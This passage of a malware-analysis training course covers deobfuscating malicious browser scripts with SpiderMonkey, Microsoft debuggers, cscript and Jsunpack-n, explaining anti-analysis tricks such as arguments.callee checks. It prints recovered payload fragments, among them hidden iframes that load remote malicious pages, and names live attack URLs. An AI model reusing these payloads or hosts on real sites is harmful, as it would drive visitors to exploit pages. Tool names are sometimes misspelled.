</table>

Another element of the page that the malicious script can reference is the URL where it resides. This way, if it's being analyzed locally, the location will either be not defined or set improperly. The malicious string can use the location string as part of the deobfuscation key, making it difficult (and at times impossible) to decode the script without knowing the expected location value. There are several ways in which the script can determine its location, as shown on this slide.

If you know the expected location, you can manually set it by creating or redefining the appropriate objects prior to the original script's commands using syntax such as:

```javascript
window = {
  location: {
    href: "http://www.malicious.com/page"
  }
}
```

or:

```javascript
location = {
  href: "http://www.malicious.com/page"
}
```

The `/usr/local/etc/web-obj.js` file on REMmix includes these examples, which are commented out by default. To define the objects, you should make a copy of the file and modify it as necessary.
Deobfuscating a Location-Aware Script (1)

Here's one example of a script that references `location.href` as part of its deobfuscation process. You can find this malicious script on your course DVD in `Malware\day4\fgg.zip` and on your REMnux virtual machine in `-remnux\malware\day4\fgg.zip`.

As you can see, attempting to execute `fgg.js` in SpiderMonkey without having the `location.href` properly set doesn't work. The script runs, but produces gibberish as output.
Deobfuscating a Location-Aware Script (2)

To set `location.href`, first you need to know what it's supposed to be—on what URL did the malicious script originally reside? This particular script resided at "http://www.gtporg.com/cgi-bin/index.cgi?fgg".

With the knowledge of the script's original URL, you can define the proper object in the script. A convenient way to accomplish this on REMnux is to copy the global `/usr/local/etc/web-obj.js` file to another directory, and edit the local file using Scintil ("notepad web-obj.js"). To define location.href, you can use the following syntax:

```javascript
location = {
    href: "http://malicious.com"
}
```

When you run the script now, loading the modified `web-obj.js` file, SpiderMonkey produces output that looks proper—it's another obfuscation script that you would need to decode to proceed with the analysis.

A similar technique could have used the referrer field, rather than the location of the actual script. A popular way of determining the referrer string from within the script involves calling `document.referrer` To set it to the appropriate value—this syntax is specified, but commented out on REMnux in `/usr/local/etc/web-obj.js`—you could use:

```javascript
document = {
    referrer: "http://www.malicious-referrer.com"
}
```
Referencing the Function's Body to Detect Modifications

- A JavaScript function can perform various operations on itself
  - `arguments.callee.toString()` returns a string containing the function's body
  - `arguments.callee.toString().length` returns the length of the body

Another protection technique uses the `arguments.callee` method. It allows a function to reference its own body. By implementing checksums or otherwise relying on the body of the function, the function can protect itself from modifications. For instance, a function can use the text of its body as a key for deobfuscation. If the analyst modifies the function, perhaps by adding some newline markers in anticipation of the need to set breakpoints, deobfuscation will produce incorrect result.

In JavaScript function, “arguments” is a local variable that has a property called “callee”. This property can be referenced as `arguments.callee`.

Normally, `arguments.callee` is called with recursive functions:

- `arguments.callee(variable)` calls the same function with the variable “variable” as the parameter. The key method for protection of modification is the `arguments.callee.toString()` method, which returns plain text of the function body as one string. This text can be used by the malicious script to detect that the function has been tampered with. As an additional check, attackers often test the length of the function body by calling the `arguments.callee.toString().length`. 
Browser Differences in arguments.callee Implementation

- Browsers implement arguments.callee a bit differently
- Firefox optimizes the code
- Internet Explorer leaves everything as it is (whitespace, comments)
- Code obfuscated for Internet Explorer won't run in Firefox

What makes dealing with arguments.callee even more difficult, is that web browsers implement this method a bit differently, because the JavaScript reference doesn't specify some implementation details. The implementations primarily differ in how they deal with code optimization and removal of whitespace. For example, Firefox optimizes the code before sending it to the arguments.callee:

```javascript
var test = 3+2;
```

In Firefox, this will be delivered to the arguments.callee as:

```javascript
var test = 5;
```

In contract, Internet Explorer will leave the line above as it appears in the original source code (var test = 3+2).

Internet Explorer will also not touch variable content:

```javascript
var test = 00001;
```

Firefox will optimize this into:

```javascript
var test = 1;
```

Authors of malicious scripts can use these subtle differences to target specific browsers. In other words, a deobfuscation function that uses arguments.callee property might execute one way in Internet Explorer and in another way in Firefox. As the result, a function that use this property to derive deobfuscation keys will compute different keys depending on the victim's browser.

The following example assigns the value of arguments.callee to a variable:

```javascript
var S169f3=arguments.callee.toString().replace(/\W/g,"").toUpperCase()
```

In this example, the current function's body is converted to a string (toString()), all whitespace is eliminated (replace()) and it is converted to uppercase. Malicious authors may use this variable as a key or checksum for deobfuscation. Modification of the function's body also modify the value of the "S169f3" variable. We'll dig deeper into this technique later in this section.
An Example of arguments.callee Protection

```javascript
function QC1045(PDB92E4) { var M1FDAB = arguments.callee.toString().replace(/\W/g, "").toUpperCase(); var A9F6ED = A9F6ED += 705; var OF0FB1 = QEB540 = QEB540 += 346; var HAO09A = M1F DAB.length; ...
```

- This version ignores whitespace (CRLF, tabs)
- We can add lines to set breakpoints

This slide shows the simpler arguments.callee obfuscation technique that can be analyzed with most script debuggers, because the script's invocation of arguments.callee disregards any whitespace we may add or remove to the script. Whitespace, in this context, includes newline markers. This means that we can add linebreaks to set breakpoints for script debuggers, even if the debuggers cannot set breakpoints in the middle of the line.

As you can see at the beginning of this function, the variable M1FDAB gets the function body that will have all whitespace stripped out (the replace method) and all characters converted to uppercase:

```javascript
arguments.callee.toString().replace(/\W/g, "").toUpperCase()
```

One possible reason why the script's author decided to remove whitespace may be to increase the script's compatibility across browsers, such as Firefox will remove such white space automatically, while Internet Explorer will keep it intact.
Another Example of \texttt{arguments.callee} Protection

\begin{verbatim}
function QC1045(FDB9E4) {var
M1FDAB=arguments.callee.toString.toUpperCase();
var A9F8ED=A9F8ED+=705;var OF0FB1;var
QEB540;QEB540+=346;var HA009A=M1F
DAB.length; ...}
\end{verbatim}

The function is protected from most modifications.

The more advanced \texttt{arguments.callee} obfuscation technique doesn't allow modifications to the code. Even a single character, such as a newline marker, will change the deobfuscation key, and will break the deobfuscation process. This typically results in the browser or debugger executing a continuous loop—it will appear as the browser hang.
Defeating `arguments.callee` Protection

- Deobfuscate using the platform the script it was written for
- Be careful modifying functions
- Define JavaScript objects, rather than editing the function's code
- Use debuggers that don't require newlines for breakpoints

Deobfuscation functions using the `arguments.callee` property can be very difficult to analyze. Depending on the function, we must not even modify a single byte within it. This is most obvious when we have to set break points—most debuggers can set breakpoints only by lines. If the deobfuscation function does not have line breaks and we introduce one in anticipation of the need to set a breakpoint, we can invalidate the deobfuscation key and stop the function from working.

If the script relies upon external values that you may need to set manually during deobfuscation, use JavaScript object and method definition syntax, rather than defining the values directly by editing the function's code.

Different implementations of the `arguments.callee` property make this even more difficult. We have to deobfuscate the function using the platform it was written for, since the deobfuscation function that depends on Firefox's optimizations will not work in Internet Explorer and vice versa.

We'll see some examples of having to deal with `arguments.callee` later in this section.
What We've Learned so Far

- How to use SpiderMonkey, Rhino, Malzilla
- Dealing with anti-deobfuscation
  - Encodings, split scripts, unusual syntax, external dependencies
- How to define JavaScript objects and methods for deobfuscation

At this point, we've had a chance to cover several tools useful for analyzing malicious scripts: SpiderMonkey, Rhino, and Malzilla. We also surveyed several common mechanisms that malicious scripts use to complicate our task of deobfuscating them. In the process, we learned how to define the objects, methods and functions that scripts may depend upon during their execution outside of their native environments.
FOR610.4 Roadmap

... done with 1st half of FOR610.4

- Essential Web Analysis Skills
- Anti-Deobfuscation
- Microsoft Tools
- Additional Automation
- Hands-On Exercises

2nd half of FOR610.4

Next on our roadmap is the discussion of Microsoft tools we can use when examining malicious browser scripts.
Many malicious websites target users of Microsoft Windows and its default browser: Internet Explorer. One of the advantages of using non-Microsoft OS and tools for analyzing such sites is to decrease the risk of inadvertently infecting your system. However, as we recently saw, some obfuscation techniques are platform-dependent, which gives us no choice but to use Microsoft's tools. That's not necessarily a bad thing, because one of the script debuggers available from Microsoft is actually very powerful and is an excellent tool for deobfuscating malicious browser scripts. We'll cover this debugger, as well as other relevant tools, in the subsequent pages.
Microsoft Script Debugger

- Free
- Discontinued
- Basic functionality
- Integrates with IE
- Supports VBScript and JavaScript

Microsoft Script Debugger is a free debugger from Microsoft, and can be integrated. It works with any Microsoft ActiveX Scripting host application, so besides being integrated with Internet Explorer it also works with Microsoft Internet Information Server (IIS).

From the debugger point of view, it only supports basic functionality, but this is typically enough for analysis of malicious script files. Since it uses Internet Explorer's engine, you can be sure that the results are the same as those in Internet Explorer.

Like all debuggers from Microsoft, Microsoft Script Debugger supports both JavaScript and VBScript.

The screenshot on this slide shows Microsoft Script Debugger debugging a JavaScript file. Similarly to Rhino, you can set breakpoints by clicking on the grey area on the left side of the code. The command window at the bottom is used to inspect variable content; by entering variable name, Microsoft Script Debugger will print its content.

Microsoft has retired this tool. While it is still available for download, support is discontinued and Microsoft recommends that users use other browsing debuggers, such as Microsoft Script Editor (see next slide) or Visual Studio .NET. Another option, as you'll see shortly, is the debugger that Microsoft began shipping as part of Internet Explorer starting with Internet Explorer 8.

You can find Microsoft Script Debugger on the DVD you received for this course in the WebAnalysis folder. You can also download Microsoft Script Debugger from:

Microsoft Script Editor

- Part of Microsoft Office
- More mature than Microsoft Script Debugger
- Supports VBScript and JavaScript
- Integrates with Internet Explorer
- Supports character-based breakpoints—no newlines required!

Microsoft Script Editor is the better debugger option than the now-retired Microsoft Script Debugger. Unfortunately, this tool is part of Microsoft Office so it is not freely available as a standalone tool. If you own a copy of Microsoft Office you can install it and benefit from its relatively advanced functionality for examining JavaScript or VBScript files.

Similar to Microsoft Script Debugger, Microsoft Script Editor also works with any Microsoft ActiveX Scripting host application, so besides being integrated with Internet Explorer, it also works with Microsoft Internet Information Server (IIS). Also, Microsoft Script Editor supports both JavaScript and VBScript languages.

Probably the most useful feature in Microsoft Script Editor is its flexibility in setting breakpoints. While most other debuggers can set breakpoints only by lines, Microsoft Script Editor can set them also by character position. This feature allows easy debugging of most complex deobfuscation functions that rely on arguments.callee and do not allow any modifications to add newline markers. In cases when the whole function is contained in one line, and adding an extra line break also breaks the function, Microsoft Script Editor can set a breakpoint by character position. We can then execute the code knowing that the debugger will stop at the right position, allowing us to inspect variable status.
This slide shows Microsoft Script Editor after it reached the breakpoint, which was set by a character position. We can see that the next instruction to execute would be the `document.write` call. We can now inspect the value stored in the variable that stores the script, which in this case is called "G82B54". Looking at this variable with a debugger that can only set breakpoints in the beginning of the line may have been hard if the script made use of `arguments.callee` to prevent the addition of newline markers.
Internet Explorer Developer Tools

- Released with Internet Explorer 8
- Help developers be more productive
  - HTML and CSS editor
  - Website profiler
- Includes a debugger for JavaScript and VBScript with support for mid-line breakpoints

Starting with version 8 of Internet Explorer, Microsoft released its Internet Explorer Developer Tools browser add-on. This toolbar contains a debugger for both JavaScript and VBScript files, and includes tools such as an HTML/CSS editor and a website profiler.

The main purpose of the add-on is to help Internet Explorer developers, but due to some powerful features of the debugger, we can also use it when analyzing malicious web pages. According to Microsoft, this debugger "enables developers to set breakpoints and to step through client-side JavaScript code without leaving the browser."

The debugger built into Internet Explorer Developer Tools quite powerful, because it supports breakpoints even if you sent them in the middle of the line. This allows deobfuscation of complex scripts that use protective techniques such as arguments.callee and that work only under Internet Explorer.

Most features one would expect in a debugger are available in the Internet Explorer Developer Tools debugger as well. You can inspect various variables, depending on their current scope (local or global) and see the call stack. You can also specify variables to watch. Finally, a scriptable console is available if you need to perform complex actions.

Microsoft's article titled Debugging Script with the Developer Tools is available at:
Activating the Internet Explorer Developer Tools Debugger (1)

1. Launch Internet Explorer
2. Set home page to "Use blank"
3. Restart browser
4. F12 or Tools > Developer Tools

To begin debugging a script using the Internet Explorer Developer Tools debugger, you don't need to extract the script from the malicious webpage. The debugger operates as part of Internet Explorer, which allows it to handle scripts that exist together HTML tags.

First, launch Internet Explorer by itself, without loading any web pages into it.

If, when you launch the browser, it tries to open a website, configure the browser's home page to "Use blank" (e.g., the home page should be set to "about:blank"). Otherwise, the built-in debugger will get confused by the browser's inability to access a website that is set as your home page. To set the home page, click Tools > Internet Options. In the General tab, click the "Use blank" button and click OK. Then restart your browser.

Next, activate Developer Tools by pressing F12 or by using the Tools > Developer Tools menu.
Activating the Internet Explorer Developer Tools Debugger (2)

3. Script tab > Start Debugging
4. Break All (looks like pause) button or Ctrl+Shift+B
5. Minimize Developer Tools and load the malicious file into the browser
6. If prompted by browser, allow the script to run

Once the Developer Tools window is active, go to the Script tab and click the Start Debugging button.

Next, click on the button that looks like the typical pause button—when you hover it, it will say “Break All”. If you prefer, you can click Ctrl+Shift+B instead of clicking the button. This will make sure that once you load the malicious page into the browser and the browser begins executing scripts, it will bring up the debugger.

You’re now ready to load the malicious page into Internet Explorer. You can do this either by pointing the browser to a live URL hosting the malicious page (if you’re connected to the Internet), or by loading a locally-saved file.

Prior to loading the file or URL, minimize Developer Tools, to make sure you’re loading the malicious page into the browser, not into Developer Tools directly.

If loading a local file, Internet Explorer will warn you about running active content. You will need to say “Yes” if presented with this security warning.

For this example, we’ll load a local file that you can extract from ‘Malware\day5\calllee.zip’ on your course DVD.
Internet Explorer Developer Tools Debugger in Action (1)

- Debugger comes up
- Locate where to set the breakpoint: use the “Search Script” window
- Set the breakpoint

Once you load the malicious page into Internet Explorer, the browser will invoke the debugger. The script is about to begin executing, but hasn't had a chance to run yet. You can now set the necessary breakpoints by right-clicking on the desired command and selecting Insert Breakpoint.

In our example, we want to look at contents of the variable called G82B54, because the script is attempting to execute contents of that variable using `document.write`. That's where you want to set the breakpoint. To locate the `document.write` command, you may need to scroll to the right.

The most convenient way of locating a particular instruction is probably to use the Search Script window that is displayed in the top right corner of the debugger. For instance, you can enter "document.write" there and hit enter to find an occurrence of this command in the script you're debugging. (In our example, you're looking for the second instance of `document.write`.)

Note that you can set the breakpoint without having to insert any newline markers into the script. That's because the Internet Explorer Developer Tools debugger can properly process mid-line breakpoints.
Internet Explorer Developer Tools Debugger in Action (2)

- Click Continue (F5)
- Look at variables in Locals tab or enter variable name in Watch tab
- Copy-and-paste variable's value

After setting the breakpoint, click the button that looks like the typical Play button—when you cover over it, it'll say “Continue—or simply or hit F5. This will cause your script to run until it hits the breakpoint you've just set.

You can now look at contents of the variables that interest you by entering their names in the Watch window. In our example, you would need to click on the Watch area on the right side of the debugger and enter "G82B54" in the "Click to add..." cell. Press Enter and you should see the value of that variable in the Value column. You can now copy it by highlighting the desired cell and pressing Ctrl+C. Then, paste the copied contents of the variable into a text editor such as Notepad.

In our example, the G82B54 variable should contain the following deobfuscated text, which uses the IFRAME tag to load another malicious page within the victim's browser:

"</textarea><iframe src="http://66.109.23.198/c76c1d2643c69857e1a6f7d2e0f3f3e05b517d106b003853b141?p=ftp" width=1 height=1 style="border: 0px"></iframe>"
Examining Live Sites with IE Developer Tools Debugger

- Activate debugger and enable “Break All” as described earlier
- Click “Continue” (F5) to execute boring scripts in one step
- Set breakpoints at the necessary instructions in interesting scripts

If you're analyzing a live malicious website, rather than a local copy of the web page, the instructions for using the Internet Explorer Developer Tools debugger are the same. The only difference is that you will see Internet Explorer pause at the beginning of every script instance the page loads. That's good, because this allows you to set breakpoints on scripts that interest you. Whenever the browser pauses at the beginning of the script, look over the script and, if you're not interested in debugging it, hit Continue (F5). Internet Explorer will execute the script in one step and will pause prior to executing the next script.
Microsoft's Standalone Script Interpreter cscript (1)

- Command-line utilities
cscript/wscript
- Installed as part of Windows
- Uses Windows Script Host object model
- Supports both VBScript and JavaScript languages

Microsoft Windows come with two command line utilities, cscript and wscript, that are two interfaces to a standalone Windows-based script host interpreter. These tools can be used to execute JavaScript and VBScript scripts from the command line outside of the web browser. In this way, they are very similar to Mozilla's SpiderMonkey tool, except they use Internet Explorer's scripting engine.

The difference between cscript and wscript is that cscript is fully console-based, while wscript sometimes can bring up GUI window pop-ups when interacting with the user.
Microsoft's Standalone Script Interpreter cscript (2)

- Needs proper extensions
  - *.vbs for VBScript, *.js for JavaScript
- HTML tags have to be removed
- May need to define browser objects
  - Use `wscript.echo` for VBScript
  - Use `wscript.echo` for JavaScript (not `print`, as we did for SpiderMonkey)

To execute files using `cscript`, we need to do a bit of preparation. The Windows Script Host executes files according to their extension. This means that VBScript files have to use the *.vbs extension while the JavaScript files have to use the *.js extension.

Besides this, we also need to remove any HTML tag, similar to what we had to do with SpiderMonkey.

Another similarity with SpiderMonkey is that objects created by Internet Explorer will be missing from the script's runtime environment as well. For instance, the document object won't be available.

However, we can still print data easily with `cscript` by defining or redefining the necessary objects, as we have done in earlier exercises that involved SpiderMonkey:

- For VBScript we can use `wscript.echo`
- For JavaScript we can also use `wscript.echo`. Note that using `print`, as we did with SpiderMonkey, doesn't seem to work with script.
Similar to JavaScript, VBScript obfuscation can be done in multiple layers as well. Besides `document.write()`, VBScript malicious script files also use the `Execute()` function to execute whatever is in the first argument passed to this function.

When debugging with `cscript` or `wscript` this can be changed to the `wscript.echo()` call, which will print the content of the first argument.
`cscript` in Action with VBScript (2)

Append above the script to redefine the Execute function:

```
Function execute(x)
    WScript.Echo(x)
End Function
```

It tries to exploit an old vulnerability in the Scripting file system object that allows an attacker to create and execute arbitrary files on the local machine.
Defining JavaScript Objects for cscript

```javascript
var document = {
    write: function(input_string) {
        WScript.Echo(input_string);
    }
}
var eval = function(input_string) {
    WScript.Echo(input_string);
}
```

You can use web-obj-cscript.js from your course DVD.

See \WebAnalysis\web-obj-cscript.js

Example.

copy web-obj-cscript.js+calleec.js out.js
cscript out.js > out.txt

(After removing HTML tags from calleec.html)
Analyzing Internet Explorer-Specific Malware

- Malware may be written to work only in Internet Explorer
  - VBScript exploits
  - arguments.callee usage
- Best analyzed on Windows using Microsoft's tools
- Remember lab isolation

As a dominant platform for client-side computing, Microsoft Windows attracts its share of malicious software. Don't be surprised when you come across scripts that are targeting specifically Internet Explorer users.

As we already discussed, arguments.callee is implemented slightly differently by web browsers. This allows attackers to write malicious scripts that will work correctly only in the browser of their choice. This particularly makes sense if they are exploiting vulnerabilities that exist only in, for example, Internet Explorer; if Firefox is not vulnerable to that particular exploit, so there is no point in executing the script in Firefox. Besides that, this makes analysis more difficult and will cause any process based on Firefox's JavaScript interpreter to fail, including automated analysis tools such as Jspack-n.

There is another way to make sure the script will work in Internet Explorer only, and that is by using VBScript. Other browsers don't support VBScript and will just skip any VBScript scripts embedded in the web page.

Remember to properly isolate the laboratory environment you're using to analyze browser scripts, especially when using Microsoft Windows as the operating system for your analysis. This is particularly important because you will be analyzing these scripts on platforms they were written for. You never know when you are analyzing a 0-day exploit or an exploit that has not been patched (yet) on your system.
What We've Learned so Far

- How to use SpiderMonkey, Rhino, Malzilla
- How to use Microsoft Script Debugger, Editor, Internet Explorer Developer Tools debugger, cscript
- Dealing with anti-deobfuscation and defining script objects

We've continued our exploration of analyzing malicious browser scripts. The last module added a number of Microsoft-specific tools to our toolkit: Microsoft Script Debugger, Microsoft Script Editor, Internet Explorer Developer Tools debugger, and cscript.
Next, let's examine several approaches to easing the task of manually analyzing malicious browser scripts.
In this module, we will go over several additional techniques for automating aspects of analyzing malicious browser scripts using locally-installed tools.
Several Automated Tools and Techniques can Help

- A few hosted tools introduced in FOR610.2: Wepawet, Jsunpack
- Sometimes you need to keep all tools in-house
- Sometimes you need more hands-on control over automation

As you may have surmised from the earlier pages and exercises, deobfuscating malicious browser scripts can be a time-consuming and tedious process. That’s why in this course module we’ll take a look at techniques that bring an element of automation to script analysis tasks.

We already examined several tools that automate malicious website analysis in the FOR610.2 course section: Wepawet and Jsunpack are excellent at bypassing many common script obfuscation approaches. Yet, sometimes you may be dealing with a highly sensitive incident during which you may not be allowed to use an externally-hosted analysis tool. Further, tools such as Wepawet and Jsunpack cannot handle every defense malware authors might incorporate into their scripts. That’s why we’ve been learning how to perform manual and partly-automated analysis of such scripts.

In the following pages, we’ll look at some script deobfuscation approaches that bring an element of automation, while allowing you to maintain control over the analysis process on a local host in your lab.
Regular Expressions for Decoding Strings – See Appendix

```
cat file | perl -pe
\'s/%(.+)/chr(hex($1))/ge\'
```

- Example: find pattern “%(..)” and replaced it with “\chr(\hex($1))”
- Perl will process each line of input with the specified command
- Allows for convenient scripting on the command line

One of the tools at your disposal for automating the decoding of some strings in malicious scripts is regular expressions (RegEx). Analysis tools such as Malzilla come with several common decoding algorithms; however, it’s useful to know how to write your own regular expressions, in case you encounter a slightly different encoding, or when you need to automate tasks for which Malzilla isn’t well-suited.

Regular expressions are a set of rules you can use to tell compatible tools how to locate and transform text. Perl is one of such tools, and that’s what we’ll use in the example on this slide. Here, we’re transforming text encoded using hexadecimal characters, such as “%68%74%70%3A%2F%2F” into the characters’ readable ASCII values.

To transform the characters, you’ll need to define a regular expression pattern that matches those characters. If you put parenthesis around the pattern, Perl will save the matching characters into temporary variables names named $1, $2, $3, etc., a variable per a matching set of parenthesis.

In the example on this slide, we’ve asked Perl to find the “%” character in the line it is processing. A dot in a regular expression represents any character. So we’re asking Perl to match any two characters that follow “%”. Because we’ve enclosed “..” in parenthesis, Perl will save those two characters in variable called $1. We’ve also asked Perl to use the `hex()` function to transform the characters saved into $1 from hexadecimal to decimal notation, and then convert them into corresponding characters via the `chr()` function. As a result, any two characters that follow “%” will be replaced with the newly-realized character that we’ve transformed according to this logic.

For a more comprehensive overview of how you can use regular expressions to decode strings, see Appendix “Decoding Browser Scripts with Regular Expressions”.

210
Tapping Internet Explorer's API

- Injects a DLL into the Internet Explorer process
- The DLL intercepts API calls often used by scripts
- Requires a specific version of Internet Explorer
- Source code available

Here's another approach to automating malicious script deobfuscation. Websense researcher Stephan Chenette created a DLL that can be injected into the Internet Explorer process, similarly to how a user-mode rootkit would do it. This DLL, which Stephan called decoderhook.dll, is designed to intercept API calls that malicious scripts commonly use when deobfuscating themselves. The output produced by the DLL contains deobfuscated versions of the scripts that Internet Explorer is running.

The biggest challenge of this technique is that its proof-of-concept implementation intercepts the calls by patching functions in a manner that is likely to work only for a specific version of Internet Explorer, because in another version, functions will probably reside in a different location. Fortunately, WebSense distributed full source code to the DLL, so anyone with the right skills can modify the tool for another version of Internet Explorer.

To read about this method, and to download the necessary tools, please visit:
http://securitylabs.websense.com/content/Blogs/3198.aspx

Websense published another approach that used a similar technique, but on a lower level. This method consisted of setting a breakpoint with a traditional assembly-level debugger, such as OllyDbg, in the appropriate DLL that implements functions such as `document.write` and `eval`. By setting breakpoints on these functions, we can observe what scripts they are processing. This method is described in the following Websense blog posting:
JavaScript Deobfuscator
Firefox Add-on

- Observes the Firefox JavaScript engine from within
- Provides a window that shows JavaScript that's compiled or executed by Firefox
- Performs somewhat slowly

Here's another handy tool... A Firefox add-on called JavaScript Deobfuscator was inspired by Websense' approach to tapping into inner-workings of the web browser. This add-on observes how Firefox processes JavaScript in the pages it loads and displays the result. This often produces the deobfuscated version of the script that a researcher can read and understand.

Perhaps the biggest limitation of this tool is that it significantly lengthens the time it takes Firefox to process scripts in the website. Another limitation is that this Firefox add-on won't be of much help in analyzing scripts written specifically for Internet Explorer. Still, when this add-on works, it can save you a lot of time.

You can use the JavaScript Deobfuscator add-on when browsing live malicious sites and when examining a local copy of the script in an isolated environment. In either case, be sure to conduct your testing on a laboratory system whose state you can revert after your experiments. Also, if you have the NoScript add-on installed, remember to configure it to actually allow scripting—otherwise scripts won't run, so there won't be much to observe.

The JavaScript Deobfuscator add-on was written by Wladimir Palant. It is installed on installed on REMnux. You can also download it from:
JavaScript Deobfuscator in Action

```
<script>exeYTEmMyB='';function pzI(LJkmQpSook){fff.op Drinks("Y12"); } var yQO='';var
DHYL="DHYL";var sXUA;var yZR='';var
gKUI="gKUI";var qNF="qNF";sXUA="%68%7f
...
```

Here's an example of the JavaScript Deobfuscator Firefox add-on in action. You can find this malicious script on your course DVD in \Malware\day4\source.zip. It's also on your REMnux virtual machine in ~remnux/malware/day4/source.zip.

An excerpt from the obfuscated script is shown on top of the slide. To deobfuscate it automatically using JavaScript Deobfuscator, open Firefox. Enable scripting if you have NoScript installed. Bring up the JavaScript Deobfuscator window from the Tools menu. Then, load the malicious page into Firefox and wait a while—maybe as much as 3-5 minutes. When Firefox begins responding to your controls again, scroll through the JavaScript Deobfuscator window—you will see the scripts processed by the browser. One of them will be the deobfuscated script whose excerpt is shown on the bottom of this slide.

Note that this deobfuscated script uses protective approaches we covered earlier in this section—array notation and regular expressions—to invoke "document.write":

```
document["w5237r235215806t3109e65925557".replace(/[0-9]/g, "")]."<iframe width=1 height=1 border=0 frameborder=0 src='http://bicodeehl.com/ghost2.php'">
```

This command allowed the script to load additional scripts from the URL "http://bicodeehl.com/ghost2.php" using the iframe tag.

The obfuscated script showed no visible references to "w5237r235215806t3109e65925557" or to the URL that's being retrieved via the iframe tag.
Jsunpack-n Examines Network Streams for Browser Attacks

- Passively decodes JavaScript using SpiderMonkey
- Tracks multiple stages of the browser attack
- Extracts URLs and embedded files
- Can also fetch live malicious websites and also examine sniffer pcap files

Let's look at another tool that can save us time in analyzing browser attacks... Jsunpack-n is a locally-installed tool for Unix that can deobfuscate JavaScript by passively analyzing the browsing session saved in a network capture file or by sniffing the session live on the wire. For instance, you can interact with the malicious website using a laboratory system, capture HTTP request and response traffic with a network sniffer, and then examine it using Jsunpack-n off-line.

Jsunpack-n can also operate in an active fetch mode, in which case it will retrieve pages from a live website, analyze its code and, if necessary, download additional malicious files from the website.

Whether operating in a passive or a fetch mode, Jsunpack can detect and identify common client-side exploits, extract malicious scripts, executables, PDF, SWF and other files that the malicious website may be using to target its victims. The tool even attempts to track whether the client-side exploit was successful by examining the flow of browser-website interactions. Jsunpack-n uses SpiderMonkey as the JavaScript engine to analyze scripts.

Jsunpack-n is installed on REMnux in the ~remnux/jsunpack-n directory. You can also obtain it from http://jsunpack.blogspot.com. Here are some blog postings that describe the tool:


Note that Jsunpack-n is meant to run locally on your system and is different from the Jsunpack tool, which is offered as a hosted service at http://jsunpack.jcck.org.

Jsunpack-n and Jsunpack were created by Blake Hartstein.
Let's start learning about Jscanpack-n by seeing how you can use it to fetch and analyze a malicious website. In this scenario, you would temporarily connect the system where Jscanpack-n is installed to the Internet, so Jscanpack-n can access and interact with the live site.

If using the REMnux virtual machine for this purpose, take a snapshot of the virtual machine before you connect, just in case being connected to the Internet or interacting with the malicious website adversely affects your system. Next, change the virtual machine's networking connection from Host-only to NAT by changing the virtual machine's VMWare settings. Next, issue the `restart-network` command to obtain the new IP address from the DHCP server built into VMWare.

Jscanpack-n is written with the expectation that its user has full write privileges to the directory where it's installed. That's why the tool is installed on REMnux in the `~/remmux/jscanpack-n` directory, rather than a global location such as `/usr/local`. Before starting to analyze a new website, change into the tool's directory (`cd ~/remmux/jscanpack-n`) and issue the `make clean` command to remove temporary files that may have been left from your previous session.

Then, launch Jscanpack-n (`~/jscanpack-n`) with the appropriate command-line parameters. Options `-a -u` followed by the URL, indicate that the tool should use the active fetch mode, actually connecting to the website and retrieving the necessary file, rather than passively analyzing a network traffic capture file. The `-g` parameter, followed by a file name of an image file tells the tool to create a URL relationship graph of the observed website interactions (see next slide). The `-a` parameter tells the tool to save all files it extracts from the HTTP session into the `~/remmux/jscanpack/files` directory, in case you wish to manually examine them later. Without the `-a` option, Jscanpack-n will only save the files it deems malicious. Consider saving all files when using the active fetch mode, because you might not know in advance which files you will want to look at, and they might become inaccessible from the live malicious website if you when you decide to come back to it later.

As you can see on the slide, Jscanpack examined the specified website and identified several exploits. In the process, it detected several additional files obfuscated scripts.
If you launch Jsunpack-n with the "-g" parameter (followed by the desired filename), it will create an image file that shows the relationship graph between the URLs observed during interactions with the malicious website. This both when you use the active fetch mode, and when you passively analyze network traffic capture files.

The graph in our example shows that the page residing at the top-level URL that we accessed referred to an embedded /lo/spl/pdf.pdf file and also, through JavaScript, referred to /lo/exe.php.

To view an image file on REMnux, use the feh command ("feh out.png").
Captured Files: The "-a" Parameter Saved All

After Jsm unpak-n analyzes the website—regardless of whether you used passive or active fetch modes—it saves the extracted files in the "files" directory under the directory where Jsm unpak-n is installed. If you specified "-a" when launching Jsm unpak-n, the tool will save all the files it can extract from the HTTP stream; otherwise, it will only save the files it considers malicious.

Jsm unpak uses the SHA-1 hash of the file when assigning it a filename. The files you would expect to find in the "files" directory are deobfuscated scripts and other components of the website. You can use the file command to identify the types of files in that directory ("file files/*"). In our example, there we see a plain ASCII text file, three HTML files and two Windows executable files. Presumably, the executables are malicious.

You may have noticed in the previous pages that the malicious website referred to a PDF file, and you might be wondering why that file wasn't saved by Jsm unpak-n. If you carefully review the messages Jsm unpak-n printed as it interacted with the website, you may notice that when it attempted to retrieve the PDF file, the network connection was reset—in other words, the file wasn't available for download.

The name file Jsm unpak identified as ASCII starts with "decoding". This indicates that it's likely to contain a deobfuscated script. To look at it, use the SciTE editor installed on REMuux. (You can invoke it with the notepad command.

The files saved in this example are available on your course DVD in Malware/day4/butterfly.zip and on your REMuux virtual machine in ~/remux/malware/day5/butterfly.zip. This zip file contains another archive called "butterfly-fetched-files.zip", where the files are located.
Jsunpack-n in Action: Analyzing Network Traffic Capture

- Browsed malicious website using Internet Explorer in the lab
- Network sniffer captured lab traffic into a pcap file
- Similar scenario: organization saved traffic of real-world browsing

Let's look at another scenario where Jsunpack-n can come in handy. In this case, rather than actively fetch the malicious website using Jsunpack-n, we will provide it with a network traffic capture file of the victim interacting with the site.

You can temporarily connect a system in your lab to the Internet to interact with the malicious website. This would allow you to experiment with multiple scenarios. For instance, you could use different web browsers and have different plug-ins installed to see how the website might attempt to attack you.

While accessing the site, you can capture network traffic using a sniffer such as Wireshark. You could also use CaptureBAT, if you invoke it with the "-n" parameter, to record network traffic directly from the laboratory system you're using to browse the Internet. Another alternative is to use tcpdump, which is installed on REMnux; to launch it, you can specify "sudo tcpdump -v -s0 -w butterfly.pcap"; "-v" launches the tool in verbose mode, "-w" specifies where to save the output using the pcap file format, and "-s0" specifies to use the maximum snapshot to save as much of each packet as possible.

Remember that both the system where the sniffer is running and the system posing as the victim's PC must be on the same network. In the case of VMware, both virtual machines should be using the NAT connection during this experiment.

The scenario in this example is similar to the case where an organization captured real-world live traffic using its network sniffer and seeks to understand the nature of the attack it observed on its production network.
Victim's Experience: Obfuscated JavaSript and a Java Applet

Screenshots on this slide show what a victim may have seen when accessing the malicious website using Internet Explorer. The page seems to embed a Java applet and has its source code obfuscated. Since a network sniffer, running in the background, has captured this user’s interactions with the site, we can use Jsunpack to deobfuscate the script and understand the nature of this attack.
